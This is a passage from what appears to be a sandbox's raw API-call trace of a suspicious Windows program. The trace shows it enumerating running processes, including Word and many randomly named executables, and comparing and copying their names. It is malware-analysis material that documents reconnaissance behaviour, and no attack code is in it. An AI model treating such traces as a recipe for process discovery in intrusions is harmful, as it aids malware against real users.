returned 11 [0050.809] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.809] lstrcpyW (in: lpString1=0x3c9d9c, lpString2="turner_construction_solve_cialis.exe" | out: lpString1="turner_construction_solve_cialis.exe") returned="turner_construction_solve_cialis.exe" [0050.809] GetLastError () returned 0x0 [0050.809] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="efforts-extreme-quantity-reproductive.exe")) returned 1 [0050.810] GetCurrentProcessId () returned 0x81c [0050.810] GetCurrentProcessId () returned 0x81c [0050.810] GetCurrentProcessId () returned 0x81c [0050.810] GetCurrentProcessId () returned 0x81c [0050.810] lstrcpyW (in: lpString1=0x3c9fc4, lpString2="efforts-extreme-quantity-reproductive.exe" | out: lpString1="efforts-extreme-quantity-reproductive.exe") returned="efforts-extreme-quantity-reproductive.exe" [0050.810] lstrlenA (lpString="just string") returned 11 [0050.810] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.810] GetLastError () returned 0x0 [0050.810] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="los-talks-ooo-focusing.exe")) returned 1 [0050.810] GetLastError () returned 0x0 [0050.810] GetCurrentProcessId () returned 0x81c [0050.810] lstrcpyW (in: lpString1=0x3ca1ec, lpString2="los-talks-ooo-focusing.exe" | out: lpString1="los-talks-ooo-focusing.exe") returned="los-talks-ooo-focusing.exe" [0050.810] GetLastError () returned 0x0 [0050.810] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.810] SetLastError (dwErrCode=0x0) [0050.810] GetCurrentProcess () returned 0xffffffff [0050.810] GetLastError () returned 0x0 [0050.810] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F49AP") returned 6 [0050.811] SetLastError (dwErrCode=0x0) [0050.811] GetCurrentProcessId () returned 0x81c [0050.811] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="farehave.exe")) returned 1 [0050.811] GetCurrentProcess () returned 0xffffffff [0050.811] GetLastError () returned 0x0 [0050.811] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F49BP") returned 6 [0050.811] SetLastError (dwErrCode=0x0) [0050.811] GetCurrentProcessId () returned 0x81c [0050.811] GetLastError () returned 0x0 [0050.811] wsprintfA (in: param_1=0x290f0ab, param_2="%X%P" | out: param_1="1F49CP") returned 6 [0050.811] SetLastError (dwErrCode=0x0) [0050.811] GetCurrentProcessId () returned 0x81c [0050.811] GetCurrentProcessId () returned 0x81c [0050.811] GetCurrentProcessId () returned 0x81c [0050.811] lstrcpyW (in: lpString1=0x3ca414, lpString2="farehave.exe" | out: lpString1="farehave.exe") returned="farehave.exe" [0050.811] GetCurrentProcessId () returned 0x81c [0050.811] GetCurrentProcessId () returned 0x81c [0050.811] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="ones_pork_tommy_lb.exe")) returned 1 [0050.812] lstrlenA (lpString="just string") returned 11 [0050.812] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.812] GetLastError () returned 0x0 [0050.812] GetCurrentProcessId () returned 0x81c [0050.812] lstrcpyW (in: lpString1=0x3ca63c, lpString2="ones_pork_tommy_lb.exe" | out: lpString1="ones_pork_tommy_lb.exe") returned="ones_pork_tommy_lb.exe" [0050.812] GetLastError () returned 0x0 [0050.812] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F4F6P") returned 6 [0050.812] SetLastError (dwErrCode=0x0) [0050.812] GetCurrentProcessId () returned 0x81c [0050.812] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="thumbnailsopen.exe")) returned 1 [0050.812] GetCurrentProcessId () returned 0x81c [0050.812] GetCurrentProcessId () returned 0x81c [0050.812] GetCurrentProcessId () returned 0x81c [0050.812] GetCurrentProcessId () returned 0x81c [0050.812] lstrcpyW (in: lpString1=0x3ca864, lpString2="thumbnailsopen.exe" | out: lpString1="thumbnailsopen.exe") returned="thumbnailsopen.exe" [0050.812] lstrlenA (lpString="just string") returned 11 [0050.812] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.812] GetLastError () returned 0x0 [0050.812] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="characters appointed birthday finally.exe")) returned 1 [0050.813] lstrlenA (lpString="just string") returned 11 [0050.813] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.813] GetCurrentProcessId () returned 0x81c [0050.813] GetLastError () returned 0x0 [0050.813] lstrcpyW (in: lpString1=0x3caa8c, lpString2="characters appointed birthday finally.exe" | out: lpString1="characters appointed birthday finally.exe") returned="characters appointed birthday finally.exe" [0050.813] GetCurrentProcessId () returned 0x81c [0050.813] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="ausarrivedrepresentative.exe")) returned 1 [0050.814] lstrlenA (lpString="just string") returned 11 [0050.814] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.814] GetLastError () returned 0x0 [0050.814] GetCurrentProcessId () returned 0x81c [0050.814] lstrcpyW (in: lpString1=0x3cacb4, lpString2="ausarrivedrepresentative.exe" | out: lpString1="ausarrivedrepresentative.exe") returned="ausarrivedrepresentative.exe" [0050.814] GetCurrentProcessId () returned 0x81c [0050.814] lstrlenA (lpString="just string") returned 11 [0050.814] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.814] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="routing.exe")) returned 1 [0050.814] GetLastError () returned 0x0 [0050.814] GetCurrentProcessId () returned 0x81c [0050.814] GetCurrentProcessId () returned 0x81c [0050.814] lstrcpyW (in: lpString1=0x3caedc, lpString2="routing.exe" | out: lpString1="routing.exe") returned="routing.exe" [0050.814] GetCurrentProcessId () returned 0x81c [0050.814] lstrlenA (lpString="just string") returned 11 [0050.814] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.814] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="cliff-filter.exe")) returned 1 [0050.815] GetLastError () returned 0x0 [0050.815] GetCurrentProcessId () returned 0x81c [0050.815] GetCurrentProcessId () returned 0x81c [0050.815] lstrcpyW (in: lpString1=0x3cb104, lpString2="cliff-filter.exe" | out: lpString1="cliff-filter.exe") returned="cliff-filter.exe" [0050.815] GetCurrentProcessId () returned 0x81c [0050.815] GetCurrentProcessId () returned 0x81c [0050.815] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="canvas.exe")) returned 1 [0050.816] lstrlenA (lpString="just string") returned 11 [0050.816] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.816] GetLastError () returned 0x0 [0050.816] GetCurrentProcessId () returned 0x81c [0050.816] lstrcpyW (in: lpString1=0x3cb32c, lpString2="canvas.exe" | out: lpString1="canvas.exe") returned="canvas.exe" [0050.816] GetCurrentProcess () returned 0xffffffff [0050.816] GetLastError () returned 0x0 [0050.816] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F5C7P") returned 6 [0050.816] SetLastError (dwErrCode=0x0) [0050.816] GetCurrentProcessId () returned 0x81c [0050.816] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="cookie_cumulative_bennett_horse.exe")) returned 1 [0050.816] GetLastError () returned 0x0 [0050.816] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F5C8P") returned 6 [0050.816] SetLastError (dwErrCode=0x0) [0050.816] GetCurrentProcessId () returned 0x81c [0050.816] GetCurrentProcessId () returned 0x81c [0050.816] GetCurrentProcessId () returned 0x81c [0050.816] GetCurrentProcessId () returned 0x81c [0050.816] lstrcpyW (in: lpString1=0x3cb554, lpString2="cookie_cumulative_bennett_horse.exe" | out: lpString1="cookie_cumulative_bennett_horse.exe") returned="cookie_cumulative_bennett_horse.exe" [0050.816] GetCurrentProcessId () returned 0x81c [0050.817] lstrlenA (lpString="just string") returned 11 [0050.817] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.817] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="pie.exe")) returned 1 [0050.817] GetLastError () returned 0x0 [0050.817] GetCurrentProcessId () returned 0x81c [0050.817] GetCurrentProcessId () returned 0x81c [0050.817] lstrcpyW (in: lpString1=0x3cb77c, lpString2="pie.exe" | out: lpString1="pie.exe") returned="pie.exe" [0050.817] GetCurrentProcessId () returned 0x81c [0050.817] lstrlenA (lpString="just string") returned 11 [0050.817] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.817] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="located-purple-team.exe")) returned 1 [0050.818] GetLastError () returned 0x0 [0050.818] GetCurrentProcessId () returned 0x81c [0050.818] GetCurrentProcessId () returned 0x81c [0050.818] lstrcpyW (in: lpString1=0x3cb9a4, lpString2="located-purple-team.exe" | out: lpString1="located-purple-team.exe") returned="located-purple-team.exe" [0050.818] GetCurrentProcessId () returned 0x81c [0050.818] GetCurrentProcessId () returned 0x81c [0050.818] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="pagespresent.exe")) returned 1 [0050.818] lstrlenA (lpString="just string") returned 11 [0050.818] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.818] GetLastError () returned 0x0 [0050.818] GetCurrentProcessId () returned 0x81c [0050.818] lstrcpyW (in: lpString1=0x3cbbcc, lpString2="pagespresent.exe" | out: lpString1="pagespresent.exe") returned="pagespresent.exe" [0050.818] lstrlenA (lpString="just string") returned 11 [0050.818] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.818] GetLastError () returned 0x0 [0050.818] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="diamond_hospitals_designs_www.exe")) returned 1 [0050.819] GetCurrentProcessId () returned 0x81c [0050.819] GetCurrentProcessId () returned 0x81c [0050.819] GetCurrentProcessId () returned 0x81c [0050.819] lstrcpyW (in: lpString1=0x3cbdf4, lpString2="diamond_hospitals_designs_www.exe" | out: lpString1="diamond_hospitals_designs_www.exe") returned="diamond_hospitals_designs_www.exe" [0050.819] GetCurrentProcessId () returned 0x81c [0050.819] lstrlenA (lpString="just string") returned 11 [0050.819] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.819] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="later_pet_handjobs.exe")) returned 1 [0050.819] GetLastError () returned 0x0 [0050.819] GetCurrentProcessId () returned 0x81c [0050.819] GetCurrentProcessId () returned 0x81c [0050.819] lstrcpyW (in: lpString1=0x3cc01c, lpString2="later_pet_handjobs.exe" | out: lpString1="later_pet_handjobs.exe") returned="later_pet_handjobs.exe" [0050.819] GetCurrentProcessId () returned 0x81c [0050.819] GetCurrentProcessId () returned 0x81c [0050.819] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumentationendorsementcivilizationcommentary.exe")) returned 1 [0050.820] lstrlenA (lpString="just string") returned 11 [0050.820] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.820] GetLastError () returned 0x0 [0050.820] GetCurrentProcessId () returned 0x81c [0050.820] lstrcpyW (in: lpString1=0x3cc244, lpString2="instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="instrumentationendorsementcivilizationcommentary.exe") returned="instrumentationendorsementcivilizationcommentary.exe" [0050.820] lstrlenA (lpString="just string") returned 11 [0050.820] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.820] GetLastError () returned 0x0 [0050.820] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0050.821] GetCurrentProcess () returned 0xffffffff [0050.821] GetLastError () returned 0x0 [0050.821] wsprintfA (in: param_1=0x290f0ab, param_2="%X%P" | out: param_1="1F6F3P") returned 6 [0050.821] SetLastError (dwErrCode=0x0) [0050.821] GetCurrentProcessId () returned 0x81c [0050.821] GetCurrentProcessId () returned 0x81c [0050.821] GetLastError () returned 0x0 [0050.821] wsprintfA (in: param_1=0x290f09b, param_2="%X%P" | out: param_1="1F6F4P") returned 6 [0050.821] SetLastError (dwErrCode=0x0) [0050.821] GetCurrentProcessId () returned 0x81c [0050.821] lstrcpyW (in: lpString1=0x3cc46c, lpString2="literally.exe" | out: lpString1="literally.exe") returned="literally.exe" [0050.821] GetCurrentProcessId () returned 0x81c [0050.821] GetCurrentProcessId () returned 0x81c [0050.821] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="dimensionalsubscriptions.exe")) returned 1 [0050.821] GetCurrentProcessId () returned 0x81c [0050.821] lstrlenA (lpString="just string") returned 11 [0050.821] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.821] GetCurrentProcessId () returned 0x81c [0050.821] GetLastError () returned 0x0 [0050.821] lstrcpyW (in: lpString1=0x3cc694, lpString2="dimensionalsubscriptions.exe" | out: lpString1="dimensionalsubscriptions.exe") returned="dimensionalsubscriptions.exe" [0050.821] GetLastError () returned 0x0 [0050.821] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F730P") returned 6 [0050.821] SetLastError (dwErrCode=0x0) [0050.821] GetCurrentProcessId () returned 0x81c [0050.821] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaglesfilterscrimes.exe")) returned 1 [0050.822] GetCurrentProcessId () returned 0x81c [0050.822] GetCurrentProcessId () returned 0x81c [0050.822] GetCurrentProcessId () returned 0x81c [0050.822] GetCurrentProcessId () returned 0x81c [0050.822] lstrcpyW (in: lpString1=0x3cc8bc, lpString2="eaglesfilterscrimes.exe" | out: lpString1="eaglesfilterscrimes.exe") returned="eaglesfilterscrimes.exe" [0050.822] lstrlenA (lpString="just string") returned 11 [0050.822] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.822] GetLastError () returned 0x0 [0050.822] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="multimedia-channel-letter-standards.exe")) returned 1 [0050.822] GetCurrentProcess () returned 0xffffffff [0050.822] GetLastError () returned 0x0 [0050.822] wsprintfA (in: param_1=0x290f0ab, param_2="%X%P" | out: param_1="1F775P") returned 6 [0050.823] SetLastError (dwErrCode=0x0) [0050.823] GetCurrentProcessId () returned 0x81c [0050.823] GetCurrentProcessId () returned 0x81c [0050.823] GetLastError () returned 0x0 [0050.823] wsprintfA (in: param_1=0x290f09b, param_2="%X%P" | out: param_1="1F776P") returned 6 [0050.823] SetLastError (dwErrCode=0x0) [0050.823] GetCurrentProcessId () returned 0x81c [0050.823] lstrcpyW (in: lpString1=0x3ccae4, lpString2="multimedia-channel-letter-standards.exe" | out: lpString1="multimedia-channel-letter-standards.exe") returned="multimedia-channel-letter-standards.exe" [0050.823] GetCurrentProcessId () returned 0x81c [0050.823] GetCurrentProcessId () returned 0x81c [0050.823] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysts-dose.exe")) returned 1 [0050.823] GetCurrentProcessId () returned 0x81c [0050.823] lstrlenA (lpString="just string") returned 11 [0050.823] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.823] GetCurrentProcessId () returned 0x81c [0050.823] GetLastError () returned 0x0 [0050.823] lstrcpyW (in: lpString1=0x3ccd0c, lpString2="analysts-dose.exe" | out: lpString1="analysts-dose.exe") returned="analysts-dose.exe" [0050.823] lstrlenA (lpString="just string") returned 11 [0050.823] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.823] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacturer-asset.exe")) returned 1 [0050.824] GetLastError () returned 0x0 [0050.824] GetCurrentProcessId () returned 0x81c [0050.824] GetLastError () returned 0x0 [0050.824] lstrcpyW (in: lpString1=0x3ccf34, lpString2="manufacturer-asset.exe" | out: lpString1="manufacturer-asset.exe") returned="manufacturer-asset.exe" [0050.824] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0050.824] GetCurrentProcessId () returned 0x81c [0050.824] GetLastError () returned 0x0 [0050.824] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.824] SetLastError (dwErrCode=0x0) [0050.824] GetCurrentProcess () returned 0xffffffff [0050.824] GetLastError () returned 0x0 [0050.824] wsprintfA (in: param_1=0x290f09b, param_2="%X%P" | out: param_1="1F7ECP") returned 6 [0050.824] SetLastError (dwErrCode=0x0) [0050.824] GetCurrentProcessId () returned 0x81c [0050.825] lstrcpyW (in: lpString1=0x3cd15c, lpString2="WINWORD.EXE" | out: lpString1="WINWORD.EXE") returned="WINWORD.EXE" [0050.825] GetCurrentProcess () returned 0xffffffff [0050.825] GetLastError () returned 0x0 [0050.825] wsprintfA (in: param_1=0x290f09f, param_2="%X%P" | out: param_1="1F7EDP") returned 6 [0050.825] SetLastError (dwErrCode=0x0) [0050.825] GetCurrentProcessId () returned 0x81c [0050.825] GetLastError () returned 0x0 [0050.825] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F7EEP") returned 6 [0050.825] SetLastError (dwErrCode=0x0) [0050.825] GetCurrentProcessId () returned 0x81c [0050.825] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.825] GetCurrentProcessId () returned 0x81c [0050.825] GetCurrentProcessId () returned 0x81c [0050.825] GetCurrentProcessId () returned 0x81c [0050.825] GetCurrentProcessId () returned 0x81c [0050.825] lstrlenA (lpString="just string") returned 11 [0050.825] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.825] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0050.826] GetLastError () returned 0x0 [0050.826] GetCurrentProcessId () returned 0x81c [0050.826] GetCurrentProcessId () returned 0x81c [0050.826] lstrcpyW (in: lpString1=0x3cd384, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0050.826] GetCurrentProcessId () returned 0x81c [0050.826] GetCurrentProcessId () returned 0x81c [0050.826] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xbfc, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0050.826] lstrlenA (lpString="just string") returned 11 [0050.826] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.826] GetLastError () returned 0x0 [0050.826] GetCurrentProcessId () returned 0x81c [0050.826] lstrcpyW (in: lpString1=0x3cd724, lpString2="systeminfo.exe" | out: lpString1="systeminfo.exe") returned="systeminfo.exe" [0050.826] GetCurrentProcess () returned 0xffffffff [0050.826] GetLastError () returned 0x0 [0050.826] wsprintfA (in: param_1=0x290f09f, param_2="%X%P" | out: param_1="1F85BP") returned 6 [0050.826] SetLastError (dwErrCode=0x0) [0050.826] GetCurrentProcessId () returned 0x81c [0050.827] GetLastError () returned 0x0 [0050.827] wsprintfA (in: param_1=0x290f0b7, param_2="%X%P" | out: param_1="1F85CP") returned 6 [0050.827] SetLastError (dwErrCode=0x0) [0050.827] GetCurrentProcessId () returned 0x81c [0050.827] Process32NextW (in: hSnapshot=0x12c, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xbfc, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 0 [0050.827] CloseHandle (hObject=0x12c) returned 1 [0050.827] GetCurrentProcessId () returned 0x81c [0050.827] lstrlenW (lpString="systeminfo.exe") returned 14 [0050.827] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0050.827] lstrlenW (lpString="WINWORD.EXE") returned 11 [0050.827] lstrlenW (lpString="manufacturer-asset.exe") returned 22 [0050.827] lstrlenW (lpString="analysts-dose.exe") returned 17 [0050.827] lstrlenW (lpString="multimedia-channel-letter-standards.exe") returned 39 [0050.827] lstrlenW (lpString="eaglesfilterscrimes.exe") returned 23 [0050.827] lstrlenW (lpString="dimensionalsubscriptions.exe") returned 28 [0050.827] lstrlenW (lpString="literally.exe") returned 13 [0050.827] lstrlenW (lpString="instrumentationendorsementcivilizationcommentary.exe") returned 52 [0050.827] lstrlenW (lpString="later_pet_handjobs.exe") returned 22 [0050.827] lstrlenW (lpString="diamond_hospitals_designs_www.exe") returned 33 [0050.827] lstrlenW (lpString="pagespresent.exe") returned 16 [0050.827] lstrlenW (lpString="located-purple-team.exe") returned 23 [0050.827] lstrlenW (lpString="pie.exe") returned 7 [0050.827] lstrlenW (lpString="cookie_cumulative_bennett_horse.exe") returned 35 [0050.827] lstrlenW (lpString="canvas.exe") returned 10 [0050.827] lstrlenW (lpString="cliff-filter.exe") returned 16 [0050.827] lstrlenW (lpString="routing.exe") returned 11 [0050.827] lstrlenW (lpString="ausarrivedrepresentative.exe") returned 28 [0050.827] lstrlenW (lpString="characters appointed birthday finally.exe") returned 41 [0050.827] lstrlenW (lpString="thumbnailsopen.exe") returned 18 [0050.827] lstrlenW (lpString="ones_pork_tommy_lb.exe") returned 22 [0050.828] lstrlenW (lpString="farehave.exe") returned 12 [0050.828] lstrlenW (lpString="los-talks-ooo-focusing.exe") returned 26 [0050.828] lstrlenW (lpString="efforts-extreme-quantity-reproductive.exe") returned 41 [0050.828] lstrlenW (lpString="turner_construction_solve_cialis.exe") returned 36 [0050.828] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.828] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0050.828] lstrlenW (lpString="taskeng.exe") returned 11 [0050.828] lstrlenW (lpString="explorer.exe") returned 12 [0050.828] lstrlenW (lpString="dwm.exe") returned 7 [0050.828] lstrlenW (lpString="taskhost.exe") returned 12 [0050.828] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0050.828] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.828] lstrlenW (lpString="audiodg.exe") returned 11 [0050.828] lstrlenW (lpString="svchost.exe") returned 11 [0050.828] lstrlenW (lpString="lsm.exe") returned 7 [0050.828] lstrlenW (lpString="lsass.exe") returned 9 [0050.828] lstrlenW (lpString="services.exe") returned 12 [0050.828] lstrlenW (lpString="winlogon.exe") returned 12 [0050.828] lstrlenW (lpString="wininit.exe") returned 11 [0050.828] lstrlenW (lpString="csrss.exe") returned 9 [0050.828] lstrlenW (lpString="smss.exe") returned 8 [0050.828] lstrlenW (lpString="System") returned 6 [0050.828] lstrlenW (lpString="[System Process]") returned 16 [0050.828] lstrcmpiW (lpString1="systeminfo.exe", lpString2="systeminfo.exe") returned 0 [0050.828] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="systeminfo.exe") returned -1 [0050.828] lstrcpyW (in: lpString1=0x3d1708, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0050.828] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0050.828] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="systeminfo.exe") returned 1 [0050.828] lstrcpyW (in: lpString1=0x3d1720, lpString2="WINWORD.EXE" | out: lpString1="WINWORD.EXE") returned="WINWORD.EXE" [0050.828] lstrlenW (lpString="WINWORD.EXE") returned 11 [0050.828] lstrcmpiW (lpString1="manufacturer-asset.exe", lpString2="systeminfo.exe") returned -1 [0050.828] lstrcpyW (in: lpString1=0x3d1738, 